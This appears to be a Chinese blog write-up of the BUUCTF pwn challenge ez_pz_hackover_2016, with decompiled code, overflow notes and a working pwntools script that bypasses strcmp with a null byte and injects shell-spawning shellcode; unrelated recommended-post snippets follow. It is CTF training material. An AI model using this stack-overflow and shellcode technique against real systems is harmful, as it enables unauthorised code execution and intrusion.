BUUCTF-ez_pz_hackover_2016

[CISCN 2022 初赛]ez_usb 1.键盘流量USB协议数据部分在Leftover Capture Data域中,数据长度为八个字如图,发现击键信息为0x06,即对应的按键为C2.鼠标流量USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为四个字节。其中第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。 阅读详情

checksec

IDA

chall

int chall()
{
  size_t v0; // eax
  int result; // eax
  char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(s, 1023, stdin);
  v0 = strlen(s);
  v3 = memchr(s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", s);
  result = strcmp(s, "crashme");
  if ( !result )
    return vuln((char)s, 0x400u);
  return result;
}

 C 库函数 - strcmp()
C 库函数 int strcmp(const char *str1, const char *str2) 把 str1 所指向的字符串和 str2 所指向的字符串进行比较。

int strcmp(const char *str1, const char *str2)
当s1<s2时,返回为负数 注意不是-1
当s1==s2时,返回值= 0
当s1>s2时,返回正数 注意不是1

strcmp只能比较字符串,比较数组和字符串常量,不能比较数字等其他形式的参数。
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止
strcmp的返回值可控,传入空字符串即可

strlen同样遇0截断

将第一个参数长度n的内容复制到dest缓冲区

s中拷贝0x400个字节到dest中

很明显的栈溢出

绕过前面两个函数,成功的进入到vuln函数将完整的构造好的payload复制到dest缓冲区实现溢出并控制

程序打印出来s的地址,因此只要知道s缓冲区和shellcode地址的相对偏移量,就可确定shellcode地址

 动调确定其位置

ennnnnn

用gdb动调b下断点不太行了

 其它师傅们脚本都可以动调,我试验都退出了,动调不了确定不下位置,之后学习再补充

EXP

#coding=utf-8
#!/usr/bin/env python   
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote("node4.buuoj.cn",26580)
# p=process('./ez_pz_hackover_2016')
# gdb.attach(p)
# gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
stack_addr=int(p.recv(10),16)#接收s栈地址

log.success('stack_addr==>'+hex(stack_addr))

payload = 'crashme\x00' + 'a'*(0x16-8+4)              #  前面的crashme\x00绕过if判断
payload += p32(stack_addr-0x1c)                       #  返回地址位置,随意填充数据
payload += asm(shellcraft.sh())						  #利用pwntools自动生成
p.sendline(payload)						
# pause()
p.interactive()

BUUCTF pwn ez_pz_hackover_2016(write up) BUUCTF pwn ez_pz_hackover_20160x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 没有不可执行栈和段上的读写保护。 0x02 运行 输入name后发现上面还有一个地址。 0x03 IDA 若输入crashme,即可进入vlun函数,主要的漏洞点在这个函数内部的,chall栈的大小很大,足够写 入shellcode,之后的vuln函数会将name的数据复制到vuln的栈上面,而且复制的数据量远远大于栈的 长度,会造 阅读详情

相关推荐

BUUCTF pwn ez_pz_hackover_2016

0x01 文件分析  没有不可执行栈和段上的读写保护,可以做到很多事情。   0x02 运行  输入name并且回显,上面还有一个地址。   0x03 IDA  主要的漏洞点在这个函数内部的,chall栈的大小很大,足够写入shellcode,之后的vuln函数会将s的数据复制到vuln的栈上面,但是复制的数据量远远大于栈的长度,会造成栈溢出。  并且此函数的栈的地址直接打印出来,不用再去...

菜的只能随便写写博客 2559

3S软件

地址:https://www.ixxin.cn/software.html 转载地址:https://www.ixxin.cn/software.html

Zzzpiu的博客 553

使用cubeMX生成USB HID设备

本文主要介绍如何使用stm32开发板和cubeMX生成HID设备,供参考。

专注音频,高效工作,快乐生活! 970

[buu]ez_pz_hackover_2016

所以这里我们回到的地址应该是在0x0xff8c1e90这个地址上,接下来我们有的地址是0xff8c1eac,怎么表示这个地址呢?这里很可能存在溢出了,这里可以控制我们返回地址的写入(当然这个题在这里打ret2libc也是可以的,但这里libc基地址不太好算(要不传统打法返回两次,这里返回打起来有点点麻烦没shellcode快))(这里其实我们有两个程序栈,一个是chall对应的栈,另一个是vuln对应的程序栈(这个理解成代码需要的内存空间),但这个算出来最后其实不是我们实际要覆盖的返回地址)

Lt95625142的博客 704

VS Code配置MinGW64编译非线性优化库NLopt

VS Code用MinGW64编译C++代码安装MSYS2软件并配置非线性优化库NLopt和测试引用库代码的完整具体步骤。:若使用非UCRT版本(如传统MinGW64),替换所有路径中的。库文件会自动安装到MSYS2的。

weixin_30777913的博客 902

手把手复现金蝶云星空V8.1文件上传漏洞(附完整POC与修复方案)

本文深度解析金蝶云星空V8.1文件上传漏洞,提供详细的漏洞复现步骤与完整POC,涵盖技术原理、测试环境搭建及验证流程。同时给出多维防护方案,包括官方补丁部署、临时缓解措施和长期安全加固建议,帮助企业有效防范任意文件上传风险。

weixin_30505225的博客 182

memcpy

memcpy指的是C和C++使用的内存拷贝函数,函数原型为void *memcpy(void *destin, void *source, unsigned n);函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,即从源source中拷贝n个字节到目标destin中。 memcpy(c, temp, sizeof(char) * temp_size); ...

weixin_45959515的博客 274

基于CatBoost回归模型的完整预测分析:从建模到SHAP可解释性分析

本文介绍了使用CatBoost回归模型进行完整预测分析的流程。首先导入必要的Python库并加载数据,进行数据预处理包括训练测试集划分和归一化处理。然后通过网格搜索优化CatBoost超参数,使用最优参数训练模型并评估预测性能。结果显示模型具有较高的决定系数(R²=0.9944)和较低的误差指标(RMSE=0.0696)。接着进行残差分析和正态性检验,发现残差基本服从正态分布。最后通过SHAP分析实现模型可解释性,识别关键特征影响。该方法为梯度提升树在回归问题中的应用提供了完整解决方案。

fx666_的博客 746

ez_pz_hackover_2016

ez_pz_hackover_2016 使用checksec查看: 开启了完全RELRO,使整个 GOT 只读,放进IDA中查看: header()函数是初始化函数,没用,主要程序流程在chall()中,直接看chall()函数: 首先程序会printf变量s在栈上的地址 然后接受用户输入0x3ff个字符 接着用strcmp()函数将用户输入的字符串和ceashme做对比,如果不同,退出程序。 如果相同,进入vuln()函数,我们跟进去查看: 很明显,一个栈溢出。 本题中并没有system函数以及/

m0sway的博客 594

HTPA 32x32d热成像传感器实战指南:从替代MLX90640到精准测温

本文为HTPA 32x32d热成像传感器提供了从硬件连接到精准测温的完整实战指南。针对MLX90640替代需求,详细解析了HTPA传感器的核心优势、IIC通信要点、EEPROM校准数据读取与解析、独特的块数据读取模式,并逐步拆解了五大温度补偿计算流程,旨在帮助开发者克服高开发门槛,实现稳定可靠的非接触式测温应用。

weixin_29279101的博客 314

单片机按键识别篇---单击---双击----长按

  最近做一任务需要使用一个按键实现三种功能,分别是按键单击功能,按键双击功能和按键长按功能,可能之前没有接触过这类按键复用情况,顶多也只是简单识别单击和长按,没有想过双击以上按键功能,也是绞尽脑汁,想了半天,又上网看了些例程,算是对于按键的识别有点小小的了解,感觉这个功能挺实用,在此做个随笔。 一、思路   1.识别长按操作思路:我们使用系统定时器定时,然后让系统每过一段时间去扫描按键I/O...

weixin_30311605的博客 3660

BUUCTF ez_pz_hackover_2016[动态调试之初入门]

BUUCTF ez_pz_hackover_2016[动态调试之初入门] 之前做题基本上都是放到IDA里面进行分析,所以在动态调试这方面一直有所欠缺,今天这道题就弥补了这个不足,真正地走进了栈题的动态调试 先check一下,发现什么保护都没有开,还是一个32位的程序,心里不免有些小激动,难道这题简单? 不管简单与否,我们都先运行一下,发现在输入之前回显给我们一个栈地址,并且这个地址不是固定的,所以这里一定会用到,拿小本本记下来,之后程序会将我们输入的东西打印出来 之后我们进到IDA来分析一下这个程序

weixin_45441024的博客 706

SQL Server数据库备份与恢复

在 SQL Server 中,数据库备份与恢复是保障数据安全的核心操作。

zjw541806的博客 1876

BUUCTF ez_pz_hackover_2016

可以看到我们一开始填入的crashme在0xffa81c90的位置,“cr”的两个字母为0x7263,而我们的ebp处在0xffa81ca8,所以填满ebp需要的字节为0xa8-0x90=24,但是实际上我们在0x90的位置的时候只有后面两个字节才开始写入,所以为24-2=22,再加上32位的程序最后要再加4个字节才能覆盖到返回地址,所以我们的payload需要payload.ljust(26,b"\x00")进行把ebp填满。前面printf出了s的地址,我们先把s的地址接收过来。

2401_85052854的博客 415

lammps案例:扭转

扭转有两种方式,一是固定一端旋转另外一端,二是两端沿相反的方向旋转。案例为两侧旋转方式,扭转后的效果如图所示。

lammps_jiayou的博客 1199

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

[BUUCTF]PWN——ez_pz_hackover_2016

ez_pz_hackover_2016 题目附件 解题步骤: 例行检查,32位,开启了RELRO保护,二进制的保护机制看这里 由于没有开启nx保护,对于这题一开始想到的是利用写入shellcode来获取shell 试运行一下程序,看到程序一开始给我们了一个地址,随后让我们输入 32位ida载入,首先习惯性的shift+f12检索程序里的字符串,没有看到敏感的函数 从main函数开始看程序 程序主体在chall函数里 一开始给我们输出了参数s的地址,之后利用fgets函数读入1023(0x3ff)长度

mcmuyanga的博客 3188

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

BUUCTF Pwn ez_pz_hackover_2016 WP

可以看到 输入字符‘c’的位置应该在0x22 ebp在0x38 0x38-0x22=0x16 再加4字节到返回地址。首先会泄露变量s的地址(栈地址) 然后会对输入进行判断 存在crashme就将输入复制到dest变量。泄露的栈地址和shellcode的地址有0x20的偏移 再加个4位的地址。存在栈溢出 对于strcmp的比较 可以用 \x00 截断。下载 checksec exeinfo。但是dest的偏移不是IDA所写的。32位 IDA32打开 查看函数。

qq_33348179的博客 363

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

BUUCTF【ez_pz_hackover_2016】

BUUCTF【ez_pz_hackover_2016】 例行检查 开了relro,其他保护机制都没开,扔到IDA中分析 漏洞分析 chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法溢出,接着会获取s的长度,然后字符串检索,在这里我给出memchr()的定义:*C 库函数 void *memchr(const void str, int c, size_t n) 在参数 str 所指向的字符串的前 n 个字节中搜索第一次出现字符 c(一个无符号字符)的位置。 然后程序会有一个if检查,

weixin_51055545的博客 1408

[PWN] BUUCTF ez_pz_hackover_2016 1

[PWN] BUUCTF ez_pz_hackover_2016 1解题分析漏洞利用payload分析输入点与ebp距离的计算方法泄露的地址与shellcode的偏移量payload 解题分析 按照惯例先checksec一下,除了RELRO,其他都没开 执行,观察程序运行逻辑,给出一个地址,然后让我们输入name 32IDA打开程序,观察main函数,header()只是打印图形,chall()才是关键函数 在chall中先输出s的地址,之后fgets接收一个不大于1023(0x3ff)的字符到s的缓

空城惜梦的博客 978

[BUUCTF-pwn]——ez_pz_hackover_2016

[BUUCTF-pwn]——ez_pz_hackover_2016 题目地址:https://buuoj.cn/challenges#ez_pz_hackover_2016 checksec一下,NX都没开,十有八九是让自己写shellcode了 在IDA中,main里面没什么可以看的. 在chall函数中发现,0x40C = 1036 > 1023无法栈溢出。不过总算找到可以写shellcode 的地方。 发现vuln函数,只要通过输入"crashme\x00"就可以绕过检查,执行vuln

Y_peak的博客 458

buuctf中的ez_pz_hackover_2016(shellcode注入,信息收集比较麻烦)

看到这里首先打印出了s的地址,然后读取屏幕输入,存到s中,再调用了memchr函数,10是\n的ASCII码值,如果再s中找到了\n就将其转换为\0,下面还有strcmp函数,可以看到只有在s中找到与crashme相同的字符串才能进入vuln函数。现在偏移也知道了,上面没有开启NX保护,我们可以注入shellcode,由于上面给出了s的地址,可以先触发栈溢出,然后在ebp后面的地址注入shellcode,然后算出shellcode地址,再在返回地址处注入shellcode地址。

2301_79485835的博客 350

buuctf ez_pz_hackover_2016

使用gdb调试来计算偏移,ret2shecllcode,栈溢出

qq_73625550的博客 675

buuctf ez_pz_hackover_2016(ret2shellcode)

这题和上次的ret2shellcode不一样,上次的是返回到bss段,这回是返回到栈上,因为本题给出的是栈的一个地址,所以我们通过计算我们输入进去的shellcode对应这个地址的偏移,然后跳到shellcode的栈地址,就可以执行shellcode。 题目大致讲的就是先往s里写数据,然后把s的数据放到dest上,而dest存在栈溢出漏洞 本题的关键就是算出shellcode距离泄漏的s的栈地...

carol2358的博客 936

[buuctf]ez_pz_hackover_2016 WP

v0变量赋值为s的长度,v3存储从s所指向的字符串的前v0个字符第一次出现char(10)位置的指针,讲人话就是存char(10)第一次出现的位置的指针。第一行的printf()把s的地址给打印出来了,fgets()限制往s里面读取1023个字节的数据,但s的大小为1024,无法从此处进行栈溢出。发现输入字符串的偏移为0x22,ebp偏移为0x38,二者相对偏移为0x38 – 0x22 = 0x16。获取字符串地址在这里有个小坑,程序打印的时候冒号后面跟了个空格,这里得注意。,不管后面有什么内容。

weixin_55013445的博客 446
上一篇: BUUCTF-babyheap_0ctf_2017
下一篇: BUUCTF-jarvisoj_level3_x64
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值